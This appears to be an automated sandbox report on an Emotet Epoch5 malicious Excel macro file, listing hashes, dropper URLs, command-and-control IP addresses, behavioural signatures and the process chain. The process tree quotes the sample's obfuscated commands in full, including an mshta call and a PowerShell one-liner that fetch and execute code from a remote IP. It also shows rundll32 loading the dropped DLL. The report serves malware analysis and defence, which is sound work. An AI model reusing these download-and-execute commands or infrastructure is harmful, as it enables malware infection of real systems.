emotet | c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653

General

Target

c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653.xlsm
Size

112KB
MD5

dddf271fd51afb200416bb9899e8d58a
SHA1

8b8f1333737bee662cb2e93b76e94b274afa067b
SHA256

c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653
SHA512

8425a90236dad6ae102f90e9a63e38ae2d83a36a5671aecbc550b38647481ce485663b1c574202a30ee762bcc531dd5ab81dc958e9607896ddfedd73481cec08

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2916	2652	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 1572 mshta.exe
36 2724 powershell.exe
39 2724 powershell.exe
42 2148 rundll32.exe
43 2148 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

572 rundll32.exe
2324 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Uonga\israrifzmcmsi.agu rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1164 1572 WerFault.exe mshta.exe

flow	pid	process
23	1572	mshta.exe
36	2724	powershell.exe
39	2724	powershell.exe
42	2148	rundll32.exe
43	2148	rundll32.exe

pid	process
572	rundll32.exe
2324	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Uonga\israrifzmcmsi.agu	rundll32.exe

pid	pid_target	process	target process
1164	1572	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2652 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
1164	WerFault.exe
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
2148	rundll32.exe
2148	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1164 WerFault.exe
Token: SeDebugPrivilege 2724 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1164	WerFault.exe
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2652 wrote to memory of 2916	2652	EXCEL.EXE	cmd.exe
PID 2652 wrote to memory of 2916	2652	EXCEL.EXE	cmd.exe
PID 2916 wrote to memory of 1572	2916	cmd.exe	mshta.exe
PID 2916 wrote to memory of 1572	2916	cmd.exe	mshta.exe
PID 1572 wrote to memory of 2724	1572	mshta.exe	powershell.exe
PID 1572 wrote to memory of 2724	1572	mshta.exe	powershell.exe
PID 2724 wrote to memory of 3180	2724	powershell.exe	cmd.exe
PID 2724 wrote to memory of 3180	2724	powershell.exe	cmd.exe
PID 3180 wrote to memory of 572	3180	cmd.exe	rundll32.exe
PID 3180 wrote to memory of 572	3180	cmd.exe	rundll32.exe
PID 3180 wrote to memory of 572	3180	cmd.exe	rundll32.exe
PID 572 wrote to memory of 2324	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 2324	572	rundll32.exe	rundll32.exe
PID 572 wrote to memory of 2324	572	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 2160	2324	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 2160	2324	rundll32.exe	rundll32.exe
PID 2324 wrote to memory of 2160	2324	rundll32.exe	rundll32.exe
PID 2160 wrote to memory of 2148	2160	rundll32.exe	rundll32.exe
PID 2160 wrote to memory of 2148	2160	rundll32.exe	rundll32.exe
PID 2160 wrote to memory of 2148	2160	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\system32\mshta.exe
mshta http://92.255.57.195/ru/ru.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1572 -s 1636
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2724

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:3180

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uonga\israrifzmcmsi.agu",fZmYlUF
8⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Uonga\israrifzmcmsi.agu",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2148

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
692c5b2529371ae9b78950bf94dc75e4

SHA1
f84b4dd6e3cec613cc59406e63f490da3d7fc767

SHA256
74cce2ca486381e2147c6bb46390fb569e51aa96e8453b7b7ae47ea86de2a6d7

SHA512
4b21c72c91105bd283df90f4fafceb455406a240ad543beddb6b18efe99269980a597272c007cb5b63ad24cc10c0ba33761d1a5cb290111ed1e685c645649124

Download Submit
\Users\Public\Documents\ssd.dll
MD5
692c5b2529371ae9b78950bf94dc75e4

SHA1
f84b4dd6e3cec613cc59406e63f490da3d7fc767

SHA256
74cce2ca486381e2147c6bb46390fb569e51aa96e8453b7b7ae47ea86de2a6d7

SHA512
4b21c72c91105bd283df90f4fafceb455406a240ad543beddb6b18efe99269980a597272c007cb5b63ad24cc10c0ba33761d1a5cb290111ed1e685c645649124

Download Submit
\Users\Public\Documents\ssd.dll
MD5
692c5b2529371ae9b78950bf94dc75e4

SHA1
f84b4dd6e3cec613cc59406e63f490da3d7fc767

SHA256
74cce2ca486381e2147c6bb46390fb569e51aa96e8453b7b7ae47ea86de2a6d7

SHA512
4b21c72c91105bd283df90f4fafceb455406a240ad543beddb6b18efe99269980a597272c007cb5b63ad24cc10c0ba33761d1a5cb290111ed1e685c645649124

Download Submit
memory/572-327-0x0000000000AE0000-0x0000000000B08000-memory.dmp

Filesize
160KB

Download
memory/2148-357-0x0000000005230000-0x0000000005258000-memory.dmp

Filesize
160KB

Download
memory/2148-355-0x0000000005130000-0x0000000005158000-memory.dmp

Filesize
160KB

Download
memory/2148-353-0x0000000005050000-0x0000000005078000-memory.dmp

Filesize
160KB

Download
memory/2148-351-0x0000000004F70000-0x0000000004F98000-memory.dmp

Filesize
160KB

Download
memory/2148-349-0x0000000004D80000-0x0000000004DA8000-memory.dmp

Filesize
160KB

Download
memory/2160-344-0x00000000032A0000-0x00000000032C8000-memory.dmp

Filesize
160KB

Download
memory/2324-339-0x0000000005380000-0x00000000053A8000-memory.dmp

Filesize
160KB

Download
memory/2324-330-0x0000000003210000-0x0000000003238000-memory.dmp

Filesize
160KB

Download
memory/2324-343-0x00000000054E0000-0x0000000005508000-memory.dmp

Filesize
160KB

Download
memory/2324-337-0x0000000005320000-0x0000000005348000-memory.dmp

Filesize
160KB

Download
memory/2324-335-0x00000000051C0000-0x00000000051E8000-memory.dmp

Filesize
160KB

Download
memory/2324-333-0x0000000004FA0000-0x0000000004FC8000-memory.dmp

Filesize
160KB

Download
memory/2652-131-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/2652-117-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-130-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/2652-123-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-120-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-119-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-118-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2724-281-0x000002E119C10000-0x000002E119C32000-memory.dmp

Filesize
136KB

Download
memory/2724-300-0x000002E119FC0000-0x000002E119FFC000-memory.dmp

Filesize
240KB

Download
memory/2724-311-0x000002E11A3E0000-0x000002E11A456000-memory.dmp

Filesize
472KB

Download
memory/2724-325-0x000002E101AF0000-0x000002E119C70000-memory.dmp

Filesize
385.5MB

Download
memory/2724-316-0x000002E101AF0000-0x000002E119C70000-memory.dmp

Filesize
385.5MB

Download
memory/2724-323-0x000002E101AF0000-0x000002E119C70000-memory.dmp

Filesize
385.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads